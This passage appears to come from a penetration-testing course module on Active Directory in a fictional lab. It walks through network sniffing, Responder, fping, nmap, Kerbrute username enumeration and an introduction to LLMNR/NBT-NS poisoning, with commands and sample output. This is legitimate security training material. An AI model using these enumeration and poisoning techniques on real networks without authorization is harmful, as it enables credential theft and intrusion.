following sections, we can perform the vast majority of our internal AD enumeration with just
a set of low-privilege domain user credentials and even many attacks. The fun starts once
we have a set of credentials. Let's move into internal enumeration and begin analyzing the
internal INLANEFREIGHT.LOCAL domain passively and actively per our assessment's scope
and rules of engagement.

Initial Enumeration of the Domain

https://t.me/offenciveSec
We are at the very beginning of our AD-focused penetration test against Inlanefreight. We
have done some basic information gathering and gotten a picture of what to expect from the
customer via the scoping documents.

Setting Up
For this first portion of the test, we are starting on an attack host placed inside the network
for us. This is one common way that a client might select for us to perform an internal
penetration test. A list of the types of setups a client may choose for testing includes:

A penetration testing distro (typically Linux) as a virtual machine in their internal

infrastructure that calls back to a jump host we control over VPN, and we can SSH into.
A physical device plugged into an ethernet port that calls back to us over VPN, and we
can SSH into.
A physical presence at their office with our laptop plugged into an ethernet port.
A Linux VM in either Azure or AWS with access to the internal network that we can SSH
into using public key authentication and our public IP address whitelisted.
VPN access into their internal network (a bit limiting because we will not be able to
perform certain attacks such as LLMNR/NBT-NS Poisoning).
From a corporate laptop connected to the client's VPN.
On a managed workstation (typically Windows), physically sitting in their office with
limited or no internet access or ability to pull in tools. They may also elect this option but
give you full internet access, local admin, and put endpoint protection into monitor
mode so you can pull in tools at will.
On a VDI (virtual desktop) accessed using Citrix or the like, with one of the
configurations described for the managed workstation typically accessible over VPN
either remotely or from a corporate laptop.

These are the most common setups I have seen, though a client may come up with another
variation of one of these. The client may also choose from a "grey box" approach where they
give us just a list of in-scope IP addresses/CIDR network ranges, or "black box" where we
have to plug in and do all discovery blindly using various techniques. Finally, they can
choose either evasive, non-evasive, or hybrid evasive (starting "quiet" and slowly getting
louder to see what threshold we are detected at and then switching to non-evasive testing.
They may also elect to have us start with no credentials or from the perspective of a
standard domain user.

Our customer Inlanefreight has chosen the following approach because they are looking for
as comprehensive an assessment as possible. At this time, their security program is not
mature enough to benefit from any form of evasive testing or a "black box" approach.

https://t.me/offenciveSec
 A custom pentest VM within their internal network that calls back to our jump host, and
we can SSH into it to perform testing.
They've also given us a Windows host that we can load tools onto if need be.
They've asked us to start from an unauthenticated standpoint but have also given us a
standard domain user account ( htb-student ) which can be used to access the
Windows attack host.
"Grey box" testing. They have given us the network range 172.16.5.0/23 and no other
information about the network.
Non-evasive testing.

We have not been provided credentials or a detailed internal network map.

Tasks
Our tasks to accomplish for this section are:

Enumerate the internal network, identifying hosts, critical services, and potential
avenues for a foothold.
This can include active and passive measures to identify users, hosts, and
vulnerabilities we may be able to take advantage of to further our access.
Document any findings we come across for later use. Extremely important!

We will start from our Linux attack host without domain user credentials. It's a common thing
to start a pentest off in this manner. Many organizations will wish to see what you can do
from a blind perspective, such as this, before providing you with further information for the
test. It gives a more realistic look at what potential avenues an adversary would have to use
to infiltrate the domain. It can help them see what an attacker could do if they gain
unauthorized access via the internet (i.e., a phishing attack), physical access to the building,
wireless access from outside (if the wireless network touches the AD environment), or even
a rogue employee. Depending on the success of this phase, the customer may provide us
with access to a domain-joined host or a set of credentials for the network to expedite testing
and allow us to cover as much ground as possible.

Below are some of the key data points that we should be looking for at this time and noting
down into our notetaking tool of choice and saving scan/tool output to files whenever
possible.

Key Data Points

Data Point Description

AD Users We are trying to enumerate valid user accounts we can target
for password spraying.
https://t.me/offenciveSec
 Data Point Description
AD Joined Key Computers include Domain Controllers, file servers, SQL
Computers servers, web servers, Exchange mail servers, database
servers, etc.
Key Services Kerberos, NetBIOS, LDAP, DNS
Vulnerable Hosts Anything that can be a quick win. ( a.k.a an easy host to exploit
and Services and gain a foothold)

TTPs
Enumerating an AD environment can be overwhelming if just approached without a plan.
There is an abundance of data stored in AD, and it can take a long time to sift if not looked at
in progressive stages, and we will likely miss things. We need to set a game plan for
ourselves and tackle it piece by piece. Everyone works in slightly different ways, so as we
gain more experience, we'll start to develop our own repeatable methodology that works best
for us. Regardless of how we proceed, we typically start in the same place and look for the
same data points. We will experiment with many tools in this section and subsequent ones. It
is important to reproduce every example and even try to recreate examples with different
tools to see how they work differently, learn their syntax, and find what approach works best
for us.

We will start with passive identification of any hosts in the network, followed by active
validation of the results to find out more about each host (what services are running, names,
potential vulnerabilities, etc.). Once we know what hosts exist, we can proceed with probing
those hosts, looking for any interesting data we can glean from them. After we have
accomplished these tasks, we should stop and regroup and look at what info we have. At
this time, we'll hopefully have a set of credentials or a user account to target for a foothold
onto a domain-joined host or have the ability to begin credentialed enumeration from our
Linux attack host.

Let's look at a few tools and techniques to help us with this enumeration.

Identifying Hosts
First, let's take some time to listen to the network and see what's going on. We can use
Wireshark and TCPDump to "put our ear to the wire" and see what hosts and types of
network traffic we can capture. This is particularly helpful if the assessment approach is
"black box." We notice some ARP requests and replies, MDNS, and other basic layer two
packets (since we are on a switched network, we are limited to the current broadcast
domain) some of which we can see below. This is a great start that gives us a few bits of
information about the customer's network setup.

https://t.me/offenciveSec
Scroll to the bottom, spawn the target, connect to the Linux attack host using xfreerdp and
fire up Wireshark to begin capturing traffic.

Start Wireshark on ea-attack01

┌─[htb-student@ea-attack01]─[~]
└──╼ $sudo -E wireshark

11:28:20.487 Main Warn QStandardPaths: runtime directory

'/run/user/1001' is not owned by UID 0, but a directory permissions 0700
owned by UID 1001 GID 1002
<SNIP>

Wireshark Output

ARP packets make us aware of the hosts: 172.16.5.5, 172.16.5.25 172.16.5.50,

172.16.5.100, and 172.16.5.125.

MDNS makes us aware of the ACADEMY-EA-WEB01 host.

If we are on a host without a GUI (which is typical), we can use tcpdump, net-creds, and
NetMiner, etc., to perform the same functions. We can also use tcpdump to save a capture to
a .pcap file, transfer it to another host, and open it in Wireshark.
https://t.me/offenciveSec
Tcpdump Output

sudo tcpdump -i ens224

There is no one right way to listen and capture network traffic. There are plenty of tools that
can process network data. Wireshark and tcpdump are just a few of the easiest to use and
most widely known. Depending on the host you are on, you may already have a network
monitoring tool built-in, such as pktmon.exe , which was added to all editions of Windows
10. As a note for testing, it's always a good idea to save the PCAP traffic you capture. You
can review it again later to look for more hints, and it makes for great additional information
to include while writing your reports.

Our first look at network traffic pointed us to a couple of hosts via MDNS and ARP . Now let's
utilize a tool called Responder to analyze network traffic and determine if anything else in
the domain pops up.

Responder is a tool built to listen, analyze, and poison LLMNR , NBT-NS , and MDNS requests
and responses. It has many more functions, but for now, all we are utilizing is the tool in its
Analyze mode. This will passively listen to the network and not send any poisoned packets.
We'll cover this tool more in-depth in later sections.

Starting Responder

https://t.me/offenciveSec
 sudo responder -I ens224 -A

Responder Results

As we start Responder with passive analysis mode enabled, we will see requests flow in our
session. Notice below that we found a few unique hosts not previously mentioned in our
Wireshark captures. It's worth noting these down as we are starting to build a nice target list
of IPs and DNS hostnames.

Our passive checks have given us a few hosts to note down for a more in-depth
enumeration. Now let's perform some active checks starting with a quick ICMP sweep of the
subnet using fping .

Fping provides us with a similar capability as the standard ping application in that it utilizes
ICMP requests and replies to reach out and interact with a host. Where fping shines is in its
ability to issue ICMP packets against a list of multiple hosts at once and its scriptability. Also,
it works in a round-robin fashion, querying hosts in a cyclical manner instead of waiting for
multiple requests to a single host to return before moving on. These checks will help us
determine if anything else is active on the internal network. ICMP is not a one-stop-shop, but
it is an easy way to get an initial idea of what exists. Other open ports and active protocols
may point to new hosts for later targeting. Let's see it in action.

https://t.me/offenciveSec
FPing Active Checks
Here we'll start fping with a few flags: a to show targets that are alive, s to print stats at
the end of the scan, g to generate a target list from the CIDR network, and q to not show
per-target results.

fping -asgq 172.16.5.0/23

172.16.5.5
172.16.5.25
172.16.5.50
172.16.5.100
172.16.5.125
172.16.5.200
172.16.5.225
172.16.5.238
172.16.5.240

510 targets
9 alive
501 unreachable
0 unknown addresses

2004 timeouts (waiting for response)

2013 ICMP Echos sent
9 ICMP Echo Replies received
2004 other ICMP received

0.029 ms (min round trip time)

0.396 ms (avg round trip time)
0.799 ms (max round trip time)
15.366 sec (elapsed real time)

The command above validates which hosts are active in the /23 network and does it quietly
instead of spamming the terminal with results for each IP in the target list. We can combine
the successful results and the information we gleaned from our passive checks into a list for
a more detailed scan with Nmap. From the fping command, we can see 9 "live hosts,"
including our attack host.

Note: Scan results in the target network will differ from the command output in this section
due to the size of the lab network. It is still worth reproducing each example to practice how
these tools work and note down every host that is live in this lab.

Nmap Scanning

https://t.me/offenciveSec
Now that we have a list of active hosts within our network, we can enumerate those hosts
further. We are looking to determine what services each host is running, identify critical hosts
such as Domain Controllers and web servers , and identify potentially vulnerable hosts
to probe later. With our focus on AD, after doing a broad sweep, it would be wise of us to
focus on standard protocols typically seen accompanying AD services, such as DNS, SMB,
LDAP, and Kerberos name a few. Below is a quick example of a simple Nmap scan.

sudo nmap -v -A -iL hosts.txt -oN /home/htb-student/Documents/host-enum

The -A (Aggressive scan options) scan will perform several functions. One of the most
important is a quick enumeration of well-known ports to include web services, domain
services, etc. For our hosts.txt file, some of our results from Responder and fping overlapped
(we found the name and IP address), so to keep it simple, just the IP address was fed into
hosts.txt for the scan.

NMAP Result Highlights

Nmap scan report for inlanefreight.local (172.16.5.5)

Host is up (0.069s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:
2022-04-04 15:12:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: INLANEFREIGHT.LOCAL0., Site: Default-First-Site-Name)
|_ssl-date: 2022-04-04T15:12:53+00:00; -1s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
| Issuer: commonName=INLANEFREIGHT-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-30T22:40:24
| Not valid after: 2023-03-30T22:40:24
| MD5: 3a09 d87a 9ccb 5498 2533 e339 ebe3 443f
|_SHA-1: 9731 d8ec b219 4301 c231 793e f913 6868 d39f 7920
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
(Domain: INLANEFREIGHT.LOCAL0., Site: Default-First-Site-Name)
<SNIP>
3268/tcp open ldap Microsoft Windows Active Directory LDAP

https://t.me/offenciveSec
 (Domain: INLANEFREIGHT.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
(Domain: INLANEFREIGHT.LOCAL0., Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Domain_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: ACADEMY-EA-DC01
| DNS_Domain_Name: INLANEFREIGHT.LOCAL
| DNS_Computer_Name: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
| DNS_Tree_Name: INLANEFREIGHT.LOCAL
| Product_Version: 10.0.17763
|_ System_Time: 2022-04-04T15:12:45+00:00
<SNIP>
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: ACADEMY-EA-DC01; OS: Windows; CPE:
cpe:/o:microsoft:windows

Our scans have provided us with the naming standard used by NetBIOS and DNS, we can
see some hosts have RDP open, and they have pointed us in the direction of the primary
Domain Controller for the INLANEFREIGHT.LOCAL domain (ACADEMY-EA-
DC01.INLANEFREIGHT.LOCAL). The results below show some interesting results
surrounding a possibly outdated host (not in our current lab).

nmap -A 172.16.5.100

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-08 13:42 EDT

Nmap scan report for 172.16.5.100
Host is up (0.071s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7600
microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.1600.00;
RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-04-08T17:38:25

https://t.me/offenciveSec
 |_Not valid after: 2052-04-08T17:38:25
|_ssl-date: 2022-04-08T17:43:53+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Domain_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: ACADEMY-EA-CTX1
| DNS_Domain_Name: INLANEFREIGHT.LOCAL
| DNS_Computer_Name: ACADEMY-EA-CTX1.INLANEFREIGHT.LOCAL
|_ Product_Version: 6.1.7600
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| ms-sql-info:
| 172.16.5.100:1433:
| Version:
| name: Microsoft SQL Server 2008 R2 RTM
| number: 10.50.1600.00
| Product: Microsoft SQL Server 2008 R2
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_nbstat: NetBIOS name: ACADEMY-EA-CTX1, NetBIOS user: <unknown>, NetBIOS
MAC: 00:50:56:b9:c7:1c (VMware)
| smb-os-discovery:
| OS: Windows Server 2008 R2 Standard 7600 (Windows Server 2008 R2
Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::-
| Computer name: ACADEMY-EA-CTX1
| NetBIOS computer name: ACADEMY-EA-CTX1\x00
| Domain name: INLANEFREIGHT.LOCAL
| Forest name: INLANEFREIGHT.LOCAL
| FQDN: ACADEMY-EA-CTX1.INLANEFREIGHT.LOCAL
|_ System time: 2022-04-08T10:43:48-07:00

<SNIP>

We can see from the output above that we have a potential host running an outdated
operating system ( Windows 7, 8, or Server 2008 based on the output). This is of interest to
us since it means there are legacy operating systems running in this AD environment. It also
means there is potential for older exploits like EternalBlue, MS08-067, and others to work
and provide us with a SYSTEM level shell. As weird as it sounds to have hosts running
legacy software or end-of-life operating systems, it is still common in large enterprise
environments. You will often have some process or equipment such as a production line or
the HVAC built on the older OS and has been in place for a long time. Taking equipment like
that offline is costly and can hurt an organization, so legacy hosts are often left in place.
They will likely try to build a hard outer shell of Firewalls, IDS/IPS, and other monitoring and
https://t.me/offenciveSec
protection solutions around those systems. If you can find your way into one, it is a big deal
and can be a quick and easy foothold. Before exploiting legacy systems, however, we should
alert our client and get their approval in writing in case an attack results in system instability
or brings a service or the host down. They may prefer that we just observe, report, and move
on without actively exploiting the system.

The results of these scans will clue us into where we will start looking for potential domain
enumeration avenues, not just host scanning. We need to find our way to a domain user
account. Looking at our results, we found several servers that host domain services ( DC01,
MX01, WS01, etc.). Now that we know what exists and what services are running, we can
poll those servers and attempt to enumerate users. Be sure to use the -oA flag as a best
practice when performing Nmap scans. This will ensure that we have our scan results in
several formats for logging purposes and formats that can be manipulated and fed into other
tools.

We need to be aware of what scans we run and how they work. Some of the Nmap scripted
scans run active vulnerability checks against a host that could cause system instability or
take it offline, causing issues for the customer or worse. For example, running a large
discovery scan against a network with devices such as sensors or logic controllers could
potentially overload them and disrupt the customer's industrial equipment causing a loss of
product or capability. Take the time to understand the scans you use before running them in
a customer's environment.

We will most likely return to these results later for further enumeration, so don't forget about
them. We need to find our way to a domain user account or SYSTEM level access on a
domain-joined host so we can gain a foothold and start the real fun. Let's dive into finding a
user account.

Identifying Users
If our client does not provide us with a user to start testing with (which is often the case), we
will need to find a way to establish a foothold in the domain by either obtaining clear text
credentials or an NTLM password hash for a user, a SYSTEM shell on a domain-joined host,
or a shell in the context of a domain user account. Obtaining a valid user with credentials is
critical in the early stages of an internal penetration test. This access (even at the lowest
level) opens up many opportunities to perform enumeration and even attacks. Let's look at
one way we can start gathering a list of valid users in a domain to use later in our
assessment.

Kerbrute - Internal AD Username Enumeration

Kerbrute can be a stealthier option for domain account enumeration. It takes advantage of
the fact that Kerberos pre-authentication failures often will not trigger logs or alerts. We will

https://t.me/offenciveSec
use Kerbrute in conjunction with the jsmith.txt or jsmith2.txt user lists from
Insidetrust. This repository contains many different user lists that can be extremely useful
when attempting to enumerate users when starting from an unauthenticated perspective. We
can point Kerbrute at the DC we found earlier and feed it a wordlist. The tool is quick, and we
will be provided with results letting us know if the accounts found are valid or not, which is a
great starting point for launching attacks such as password spraying, which we will cover in-
depth later in this module.

To get started with Kerbrute, we can download precompiled binaries for the tool for testing
from Linux, Windows, and Mac, or we can compile it ourselves. This is generally the best
practice for any tool we introduce into a client environment. To compile the binaries to use on
the system of our choosing, we first clone the repo:

Cloning Kerbrute GitHub Repo

sudo git clone https://github.com/ropnop/kerbrute.git

Cloning into 'kerbrute'...

remote: Enumerating objects: 845, done.
remote: Counting objects: 100% (47/47), done.
remote: Compressing objects: 100% (36/36), done.
remote: Total 845 (delta 18), reused 28 (delta 10), pack-reused 798
Receiving objects: 100% (845/845), 419.70 KiB | 2.72 MiB/s, done.
Resolving deltas: 100% (371/371), done.

Typing make help will show us the compiling options available.

Listing Compiling Options

make help

help: Show this help.

windows: Make Windows x86 and x64 Binaries
linux: Make Linux x86 and x64 Binaries
mac: Make Darwin (Mac) x86 and x64 Binaries
clean: Delete any binaries
all: Make Windows, Linux and Mac x86/x64 Binaries

We can choose to compile just one binary or type make all and compile one each for use
on Linux, Windows, and Mac systems (an x86 and x64 version for each).

Compiling for Multiple Platforms and Architectures

https://t.me/offenciveSec
 sudo make all

go: downloading github.com/spf13/cobra v1.1.1

go: downloading github.com/op/go-logging v0.0.0-20160315200505-
970db520ece7
go: downloading github.com/ropnop/gokrb5/v8 v8.0.0-20201111231119-
729746023c02
go: downloading github.com/spf13/pflag v1.0.5
go: downloading github.com/jcmturner/gofork v1.0.0
go: downloading github.com/hashicorp/go-uuid v1.0.2
go: downloading golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897
go: downloading github.com/jcmturner/rpc/v2 v2.0.2
go: downloading github.com/jcmturner/dnsutils/v2 v2.0.0
go: downloading github.com/jcmturner/aescts/v2 v2.0.0
go: downloading golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa
cd /tmp/kerbrute
rm -f kerbrute kerbrute.exe kerbrute kerbrute.exe kerbrute.test
kerbrute.test.exe kerbrute.test kerbrute.test.exe main main.exe
rm -f /root/go/bin/kerbrute
Done.
Building for windows amd64..

<SNIP>

The newly created dist directory will contain our compiled binaries.

Listing the Compiled Binaries in dist

ls dist/

kerbrute_darwin_amd64 kerbrute_linux_386 kerbrute_linux_amd64

kerbrute_windows_386.exe kerbrute_windows_amd64.exe

We can then test out the binary to make sure it works properly. We will be using the x64
version on the supplied Parrot Linux attack host in the target environment.

Testing the kerbrute_linux_amd64 Binary

./kerbrute_linux_amd64

__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

https://t.me/offenciveSec
 Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active

Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one
of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock
out accounts

Usage:
kerbrute [command]

<SNIP>

We can add the tool to our PATH to make it easily accessible from anywhere on the host.

Adding the Tool to our Path

echo $PATH
/home/htb-
student/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin:/u
sr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin
:/snap/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/u
sr/local/games:/usr/games:/home/htb-student/.dotnet/tools

Moving the Binary

sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

We can now type kerbrute from any location on the system and will be able to access the
tool. Feel free to follow along on your system and practice the above steps. Now let's run
through an example of using the tool to gather an initial username list.

Enumerating Users with Kerbrute

kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o

valid_ad_users

2021/11/17 23:01:46 > Using KDC(s):

2021/11/17 23:01:46 > 172.16.5.5:88
2021/11/17 23:01:46 > [+] VALID USERNAME: [email protected]
2021/11/17 23:01:46 > [+] VALID USERNAME: [email protected]

https://t.me/offenciveSec
 2021/11/17 23:01:46 > [+] VALID USERNAME: [email protected]
2021/11/17 23:01:50 > [+] VALID USERNAME: [email protected]

<SNIP>

2021/11/17 23:01:51 > [+] VALID USERNAME: [email protected]

2021/11/17 23:01:51 > [+] VALID USERNAME: [email protected]
2021/11/17 23:01:51 > [+] VALID USERNAME: [email protected]
2021/11/17 23:01:51 > [+] VALID USERNAME: [email protected]
2021/11/17 23:01:51 > [+] VALID USERNAME: [email protected]
2021/11/17 23:01:52 > [+] VALID USERNAME: [email protected]
2021/11/17 23:01:56 > Done! Tested 48705 usernames (56 valid) in 9.940
seconds

We can see from our output that we validated 56 users in the INLANEFREIGHT.LOCAL
domain and it took only a few seconds to do so. Now we can take these results and build a
list for use in targeted password spraying attacks.

Identifying Potential Vulnerabilities

The local system account NT AUTHORITY\SYSTEM is a built-in account in Windows operating
systems. It has the highest level of access in the OS and is used to run most Windows
services. It is also very common for third-party services to run in the context of this account
by default. A SYSTEM account on a domain-joined host will be able to enumerate Active
Directory by impersonating the computer account, which is essentially just another kind of
user account. Having SYSTEM-level access within a domain environment is nearly
equivalent to having a domain user account.

There are several ways to gain SYSTEM-level access on a host, including but not limited to:

Remote Windows exploits such as MS08-067, EternalBlue, or BlueKeep.

Abusing a service running in the context of the SYSTEM account , or abusing the
service account SeImpersonate privileges using Juicy Potato. This type of attack is
possible on older Windows OS' but not always possible with Windows Server 2019.
Local privilege escalation flaws in Windows operating systems such as the Windows 10
Task Scheduler 0-day.
Gaining admin access on a domain-joined host with a local account and using Psexec
to launch a SYSTEM cmd window

By gaining SYSTEM-level access on a domain-joined host, you will be able to perform

actions such as, but not limited to:

https://t.me/offenciveSec
 Enumerate the domain using built-in tools or offensive tools such as BloodHound and
PowerView.
Perform Kerberoasting / ASREPRoasting attacks within the same domain.
Run tools such as Inveigh to gather Net-NTLMv2 hashes or perform SMB relay attacks.
Perform token impersonation to hijack a privileged domain user account.
Carry out ACL attacks.

A Word Of Caution
Keep the scope and style of the test in mind when choosing a tool for use. If you are
performing a non-evasive penetration test, with everything out in the open and the
customer's staff knowing you are there, it doesn't typically matter how much noise you make.
However, during an evasive penetration test, adversarial assessment, or red team
engagement, you are trying to mimic a potential attacker's Tools, Tactics, and Procedures.
With that in mind, stealth is of concern. Throwing Nmap at an entire network is not exactly
quiet, and many of the tools we commonly use on a penetration test will trigger alarms for an
educated and prepared SOC or Blue Teamer. Always be sure to clarify the goal of your
assessment with the client in writing before it begins.

Let's Find a User

In the following few sections, we will hunt for a domain user account using techniques such
as LLMNR/NBT-NS Poisoning and password spraying. These attacks are great ways to gain
a foothold but must be exercised with caution and an understanding of the tools and
techniques. Now let's hunt down a user account so we can move on to the next phase of our
assessment and start picking apart the domain piece by piece and digging deep for a
multitude of misconfigurations and flaws.

LLMNR/NBT-NS Poisoning - from Linux

At this point, we have completed our initial enumeration of the domain. We obtained some
basic user and group information, enumerated hosts while looking for critical services and
roles like a Domain Controller, and figured out some specifics such as the naming scheme
used for the domain. In this phase, we will work through two different techniques side-by-
side: network poisoning and password spraying. We will perform these actions with the goal
of acquiring valid cleartext credentials for a domain user account, thereby granting us a
foothold in the domain to begin the next phase of enumeration from a credentialed
standpoint.
https://t.me/offenciveSec
This section and the next will cover a common way to gather credentials and gain an initial
foothold during an assessment: a Man-in-the-Middle attack on Link-Local Multicast Name
Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) broadcasts. Depending on the
network, this attack may provide low-privileged or administrative level password hashes that
can be cracked offline or even cleartext credentials. Though not covered in this module,
these hashes can also sometimes be used to perform an SMB Relay attack to authenticate
to a host or multiple hosts in the domain with administrative privileges without having to
crack the password hash offline. Let's dive in!

LLMNR & NBT-NS Primer

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are
Microsoft Windows components that serve as alternate methods of host identification that
can be used when DNS fails. If a machine attempts to resolve a host but DNS resolution
fails, typically, the machine will try to ask all other machines on the local network for the
correct host address via LLMNR. LLMNR is based upon the Domain Name System (DNS)
format and allows hosts on the same local link to perform name resolution for other hosts. It
uses port 5355 over UDP natively. If LLMNR fails, the NBT-NS will be used. NBT-NS
identifies systems on a local network by their NetBIOS name. NBT-NS utilizes port 137 over
UDP.

The kicker here is that when LLMNR/NBT-NS are used for name resolution, ANY host on the
network can reply. This is where we come in with Responder to poison these requests. With
network access, we can spoof an authoritative name resolution source ( in this case, a host
that's supposed to belong in the network segment ) in the broadcast domain by responding
to LLMNR and NBT-NS traffic as if they have an answer for the requesting host. This
poisoning effort is done to get the victims to communicate with our system by pretending that
our rogue system knows the location of the requested host. If the requested host requires
name resolution or authentication actions, we can capture the NetNTLM hash and subject it
to an offline brute force attack in an attempt to retrieve the cleartext password. The captured
authentication request can also be relayed to access another host or used against a different
protocol (such as LDAP) on the same host. LLMNR/NBNS spoofing combined with a lack of
SMB signing can often lead to administrative access on hosts within a domain. SMB Relay
attacks will be covered in a later module about Lateral Movement.

Quick Example - LLMNR/NBT-NS Poisoning

Let's walk through a quick example of the attack flow at a very high level:

https://t.me/offenciveSec
 1. A host attempts to connect to the print server at \\print01.inlanefreight.local, but
accidentally types in \\printer01.inlanefreight.local.
2. The DNS server responds, stating that this host is unknown.
3. The host then broadcasts out to the entire local network asking if anyone knows the
location of \\printer01.inlanefreight.local.
4. The attacker (us with Responder running) responds to the host stating that it is the
\\printer01.inlanefreight.local that the host is looking for.
5. The host believes this reply and sends an authentication request to the attacker with a
username and NTLMv2 password hash.
6. This hash can then be cracked offline or used in an SMB Relay attack if the right
conditions exist.

TTPs
We are performing these actions to collect authentication information sent over the network
in the form of NTLMv1 and NTLMv2 password hashes. As discussed in the Introduction to
Active Directory module, NTLMv1 and NTLMv2 are authentication protocols that utilize the
LM or NT hash. We will then take the hash and attempt to crack them offline using tools such
as Hashcat or John with the goal of obtaining the account's cleartext password to be used to
gain an initial foothold or expand our access within the domain if we capture a password
hash for an account with more privileges than an account that we currently possess.

Several tools can be used to attempt LLMNR & NBT-NS poisoning:

Tool Description
Responder Responder is a purpose-built tool to poison LLMNR, NBT-NS, and MDNS,
with many different functions.
Inveigh Inveigh is a cross-platform MITM platform that can be used for spoofing and
poisoning attacks.
Metasploit Metasploit has several built-in scanners and spoofing modules made to deal
with poisoning attacks.

This section and the following one will show examples of using Responder and Inveigh to
capture password hashes and attempt to crack them offline. We commonly start an internal
penetration test from an anonymous position on the client's internal network with a Linux
attack host. Tools such as Responder are great for establishing a foothold that we can later
expand upon through further enumeration and attacks. Responder is written in Python and
typically used on a Linux attack host, though there is a .exe version that works on Windows.
Inveigh is written in both C# and PowerShell (considered legacy). Both tools can be used to
attack the following protocols:

https://t.me/offenciveSec
 LLMNR
DNS
MDNS
NBNS
DHCP
ICMP
HTTP
HTTPS
SMB
LDAP
WebDAV
Proxy Auth

Responder also has support for:

MSSQL
DCE-RPC
FTP, POP3, IMAP, and SMTP auth

Responder In Action
Responder is a relatively straightforward tool, but is extremely powerful and has many
different functions. In the Initial Enumeration section earlier, we utilized Responder in
Analysis (passive) mode. This means it listened for any resolution requests, but did not
answer them or send out poisoned packets. We were acting like a fly on the wall, just
listening. Now, we will take things a step further and let Responder do what it does best.
Let's look at some options available by typing responder -h into our console.

responder -h
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.0.6.0

Author: Laurent Gaffie ([email protected])

To kill this script hit CTRL-C

Usage: responder -I eth0 -w -r -f

or:

https://t.me/offenciveSec
 responder -I eth0 -wrf

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-
NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break
stuff
on the network. Default: False
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value
is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy
for
